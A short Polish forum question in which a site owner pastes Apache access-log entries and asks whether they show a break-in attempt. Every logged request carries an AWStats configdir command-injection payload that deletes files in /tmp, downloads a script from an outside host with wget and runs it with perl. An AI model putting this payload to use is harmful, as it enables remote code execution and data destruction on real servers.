Freesco, NND, CDN, EOS

witam, czy może mi ktoś powiedzieć co oznaczają logi zarejestrowane w access_logu apachea. Czy to nie była czasem próba włamania ?
219.166.34.48 - - [05/Sep/2005:05:26:29 +0200] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:30 +0200] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:31 +0200] "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:31 +0200] "GET /cgi/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:32 +0200] "GET /stats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:33 +0200] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 -
219.166.34.48 - - [05/Sep/2005:05:26:33 +0200] "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/eugen123/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404